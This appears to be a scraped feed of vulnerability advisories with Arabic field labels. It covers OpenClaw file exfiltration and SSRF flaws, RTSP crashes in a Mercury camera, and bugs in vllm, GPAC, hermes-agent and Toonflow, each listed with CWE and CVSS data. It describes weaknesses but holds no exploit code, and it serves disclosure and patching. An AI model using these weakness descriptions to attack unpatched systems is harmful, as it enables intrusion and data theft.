## Impact Shared reply MEDIA: paths are treated as trusted and can trigger cross-channel local file exfiltration. A crafted shared reply MEDIA reference could cause another channel to read a local file path as trusted generated media. OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary. ## Affected Packages / Versions - Package: `openclaw` (npm) - Affected versions: `<=2026.4.4` - Patched versions: `2026.4.8` ## Fix The issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`. ## Verification The fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary. ## Credits Thanks @threalwinky for reporting.
الإصدارات المتأثرة
2026.4.8
نوع الثغرة
CWE-73 — CWE-73
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
الوصف الكامل
## Impact QQ Bot Extension: Missing SSRF Protection on All Media Fetch Paths. QQ Bot media download paths were not consistently routed through the SSRF guard and allowlist policy. OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary. ## Affected Packages / Versions - Package: `openclaw` (npm) - Affected versions: `<= 2026.4.2` - Patched versions: `2026.4.8` ## Fix The issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`. ## Verification The fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary. ## Credits Thanks @adithyan-ak for reporting.
الإصدارات المتأثرة
2026.4.8
نوع الثغرة
CWE-918 — SSRF
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
الوصف الكامل
OpenClaw before 2026.3.31 contains a local roots self-whitelisting vulnerability in appendLocalMediaParentRoots that allows model-initiated arbitrary host file read. Attackers can exploit improper media parent directory validation to exfiltrate credentials and access sensitive files.
الإصدارات المتأثرة
2026.3.31
نوع الثغرة
CWE-732 — Incorrect Permissions
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
A handling issue in the RTSP service of the Mercury MIPC252W 1.0.5 Build 230306 Rel.79931n allows an authenticated attacker to trigger session termination by repeatedly sending SETUP requests for the same media track within a single RTSP session. This causes the server to reset the RTSP connection, leading to a denial-of-service condition.
نوع الثغرة
CWE-400 — DoS
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
الوصف الكامل
A null pointer dereference vulnerability exists in the RTSP service of the MERCURY MIPC252W 1.0.5 Build 230306 Rel.79931n. During the processing of a SETUP request for the path rtsp://<IP>:554/stream1/track2, the device fails to properly validate the Transport header field. When this header is improperly constructed, the RTSP service can dereference a NULL pointer during request parsing. Successful exploitation causes the device to crash and automatically reboot.
نوع الثغرة
CWE-476 — NULL Pointer Deref
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
الوصف الكامل
A vulnerability was found in vllm up to 0.19.0. The affected element is the function has_mamba_layers of the file vllm/v1/kv_cache_interface.py of the component KV Block Handler. Performing a manipulation results in uninitialized resource. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is described as difficult. The exploit has been made public and could be used. The patch is named 1ad67864c0c20f167929e64c875f5c28e1aad9fd. To fix this issue, it is recommended to deploy a patch.
الإصدارات المتأثرة
All versions < 0.19.0
نوع الثغرة
CWE-908 — CWE-908
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
المراجع
https://github.com/vllm-project/vllm/issues/39146
https://github.com/vllm-project/vllm/issues/39146#issue-4215090365
https://github.com/vllm-project/vllm/pull/39283
https://vuldb.com/submit/801297
https://vuldb.com/vuln/359740
https://vuldb.com/vuln/359740/cti
الوصف الكامل
A security flaw has been discovered in GPAC up to 26.03-DEV-rev105-g8f39a1eb3-master. Affected by this vulnerability is the function elng_box_read of the file src/isomedia/box_code_base.c of the component MP4Box. Performing a manipulation of the argument elng results in out-of-bounds read. The attack needs to be approached locally. The exploit has been released to the public and may be used for attacks. The patch is named cf6ac48c972eaaee2af270adc3f36615325deb3e. The affected component should be upgraded.
نوع الثغرة
CWE-119 — Buffer Overflow
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
A vulnerability was found in NousResearch hermes-agent 0.8.0. Affected by this issue is some unknown functionality of the file gateway/platforms/webhook.py of the component Webhooks Endpoint. The manipulation of the argument _INSECURE_NO_AUTH results in missing authentication. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitation is known to be difficult. The exploit has been made public and could be used. The project was informed of the problem early through a pull request but has not reacted yet.
نوع الثغرة
CWE-287 — Auth Bypass
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
A vulnerability has been found in NousResearch hermes-agent 0.8.0. Affected by this vulnerability is the function _check_auth of the file gateway/platforms/api_server.py of the component API_SERVER_KEY Handler. The manipulation leads to improper authentication. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through a pull request but has not reacted yet.
نوع الثغرة
CWE-287 — Auth Bypass
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
A vulnerability was determined in HBAI-Ltd Toonflow-app up to 1.1.1. This vulnerability affects the function z.url of the file src/routes/setting/about/downloadApp.ts of the component downloadApp Endpoint. This manipulation of the argument url causes path traversal. It is possible to initiate the attack remotely. The attack is considered to have high complexity. It is stated that the exploitability is difficult. The exploit has been publicly disclosed and may be utilized. The real existence of this vulnerability is still doubted at the moment. The vendor explains in a reply to the issue report, that "[t]his interface is used for online updates, and the update URL has been statically compiled in the official code repository. Unless users modify the code, the requested address will be the official source address."
نوع الثغرة
CWE-22 — Path Traversal
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L